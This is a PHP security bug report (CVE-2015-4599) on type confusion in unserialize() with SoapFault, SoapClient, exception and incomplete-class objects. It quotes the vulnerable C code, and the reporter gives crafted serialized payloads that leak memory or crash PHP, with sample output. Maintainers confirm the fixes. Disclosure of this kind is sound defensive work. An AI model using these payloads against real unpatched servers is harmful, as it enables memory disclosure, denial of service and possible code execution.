Sec Bug #69152 Type Confusion Infoleak Vulnerability in unserialize() with SoapFault
Submitted: 2015-03-01 13:19 UTC Modified: 2016-02-11 13:33 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: SOAP related
PHP Version: 5.6.6 OS: *
Private report: No CVE-ID: 2015-4599

Description:
------------
PHP_METHOD(SoapFault, __toString)
{
...
	faultcode   = zend_read_property(soap_fault_class_entry, this_ptr, "faultcode", sizeof("faultcode")-1, 1 TSRMLS_CC);
	faultstring = zend_read_property(soap_fault_class_entry, this_ptr, "faultstring", sizeof("faultstring")-1, 1 TSRMLS_CC);
	file = zend_read_property(soap_fault_class_entry, this_ptr, "file", sizeof("file")-1, 1 TSRMLS_CC);
	line = zend_read_property(soap_fault_class_entry, this_ptr, "line", sizeof("line")-1, 1 TSRMLS_CC);
...
	len = spprintf(&str, 0, "SoapFault exception: [%s] %s in %s:%ld\nStack trace:\n%s",
	               Z_STRVAL_P(faultcode), Z_STRVAL_P(faultstring), Z_STRVAL_P(file), Z_LVAL_P(line),
	               Z_STRLEN_P(trace) ? Z_STRVAL_P(trace) : "#0 {main}\n");

	zval_ptr_dtor(&trace);

	RETURN_STRINGL(str, len, 0);
}

The Z_STRVAL_P macro lead to looking up an arbitrary valid memory address, and return a string via a integer-type zval that start from this memory address.
If the memory address is an invalid memory position, it should result in a crash.
The Z_LVAL_P macro lead to leaking memory address via a string-type zval that string value stored.

The following code should leak arbitrary memory or crash PHP:

<?php

$data = 'O:9:"SoapFault":4:{s:9:"faultcode";i:4298448493;s:11:"faultstring";i:4298448543;s:7:"'."\0*\0".'file";i:4298447319;s:7:"'."\0*\0".'line";s:4:"ryat";}';
echo unserialize($data);

?>

Result(Test on standard MacOSX 10.10.2 installation of PHP 5.6.6.):

SoapFault exception: [UH??AWAVSPI??I??H????
 in UH??AWAVAUATSH???:4307253992           ] UH??SPD???*?????t"H?
Stack trace:
#0 test.php(4): unserialize('O:9:"SoapFault"...')
#1 {main}

in soap.c, there are some other codes like:

if (zend_hash_find(prop, "faultcode", sizeof("faultcode"), (void**)&tmp) == SUCCESS) {


then use tmp as string later without any type check.

is that also could be a problem?

There are some similar bugs exists in other methods: SoapClient::__getLastRequest, SoapClient::__getLastResponse, SoapClient::__getLastRequestHeaders, SoapClient::__getLastResponseHeaders and etc.

PHP_METHOD(SoapClient, __getLastRequest)
{
	zval **tmp;
	
	if (zend_parse_parameters_none() == FAILURE) {
		return;
	}

	if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__last_request", sizeof("__last_request"), (void **)&tmp) == SUCCESS) {
		RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), 1);
	}
	RETURN_NULL();
}

There are some similar bugs exists in other methods, and these bugs leak to execute arbitrary code.

SoapClient::__getCookies/SoapClient::__setCookie

PHP_METHOD(SoapClient, __getCookies)
{
	zval **cookies, *tmp;

	if (zend_parse_parameters_none() == FAILURE) {
		return;
	}

	array_init(return_value);

	if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) != FAILURE) {
		zend_hash_copy(Z_ARRVAL_P(return_value), Z_ARRVAL_P(*cookies), (copy_ctor_func_t) zval_add_ref, (void *)&tmp, sizeof(zval*));
	}
}

I think more correct solution would be to either have a unserialize handler on these classes or ban serialization of them altogether, since inserting conversion in each place doesn't look like a good way to handle it - too easy to miss something.
 [2015-03-03 04:30 UTC] taoguangchen at icloud dot com
There is a similar bug exists in exception::getTraceAsString

ZEND_METHOD(exception, getTraceAsString)
{
	zval *trace;
	char *res, **str, *s_tmp;
	int res_len = 0, *len = &res_len, num = 0;

	DEFAULT_0_PARAMS;
	
	res = estrdup("");
	str = &res;

	trace = zend_read_property(default_exception_ce, getThis(), "trace", sizeof("trace")-1, 1 TSRMLS_CC);
	zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC, (apply_func_args_t)_build_trace_string, 3, str, len, &num);

I think that some similar bugs exists in other methods or functions. 
If you ban serialization of these classes, might break some features or webapp's code.

There is a similar bug exists in __PHP_Incomplete_Class:

```
PHPAPI char *php_lookup_class_name(zval *object, zend_uint *nlen)
{
	zval **val;
	char *retval = NULL;
	HashTable *object_properties;
	TSRMLS_FETCH();

	object_properties = Z_OBJPROP_P(object);

	if (zend_hash_find(object_properties, MAGIC_MEMBER, sizeof(MAGIC_MEMBER), (void **) &val) == SUCCESS) {
		retval = estrndup(Z_STRVAL_PP(val), Z_STRLEN_PP(val));

		if (nlen) {
			*nlen = Z_STRLEN_PP(val);
		}
	}

	return retval;
}
...
static void incomplete_class_message(zval *object, int error_type TSRMLS_DC)
{
	char *class_name;
	zend_bool class_name_alloced = 1;

	class_name = php_lookup_class_name(object, NULL);

	if (!class_name) {
		class_name_alloced = 0;
		class_name = "unknown";
	}

	php_error_docref(NULL TSRMLS_CC, error_type, INCOMPLETE_CLASS_MSG, class_name);

	if (class_name_alloced) {
		efree(class_name);
	}
}
...
PHPAPI zend_class_entry *php_create_incomplete_class(TSRMLS_D)
{
	zend_class_entry incomplete_class;

	INIT_CLASS_ENTRY(incomplete_class, INCOMPLETE_CLASS, NULL);
	incomplete_class.create_object = php_create_incomplete_object;

	memcpy(&php_incomplete_object_handlers, &std_object_handlers, sizeof(zend_object_handlers));
	php_incomplete_object_handlers.read_property = incomplete_class_get_property;
	php_incomplete_object_handlers.has_property = incomplete_class_has_property;
	php_incomplete_object_handlers.unset_property = incomplete_class_unset_property;
	php_incomplete_object_handlers.write_property = incomplete_class_write_property;
	php_incomplete_object_handlers.get_property_ptr_ptr = incomplete_class_get_property_ptr_ptr;
    php_incomplete_object_handlers.get_method = incomplete_class_get_method;

	return zend_register_internal_class(&incomplete_class TSRMLS_CC);
}

The following code should leak memory block via an error message or crash PHP.

```
$x =  'O:4:"test":1:{s:27:"__PHP_Incomplete_Class_Name";R:1;}';
$z = unserialize($x);
$z->test();
```

Some of these bugs has been fixed in latest PHP 5.4/5.5/5.6 series updates:

https://github.com/php/php-src/commit/0c136a2abd49298b66acb0cad504f0f972f5bfe8
https://github.com/php/php-src/commit/51856a76f87ecb24fe1385342be43610fb6c86e4

Some fix for these bugs has been committed:

https://github.com/php/php-src/commit/fb83c76deec58f1fab17c350f04c9f042e5977d1

Some of these bugs has not been fixed:

exception::getTraceAsString

The following code should crash PHP

<?php
$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:4:"ryat";}');
echo $x;
?>

BTW, this type confusion vulnerability in exception::getTraceAsString can lead to execute arbitrary code.

Thank you for the report, and for helping us make PHP better.

Should be fixed now. If new issues are identified in other code, please open a new bug.
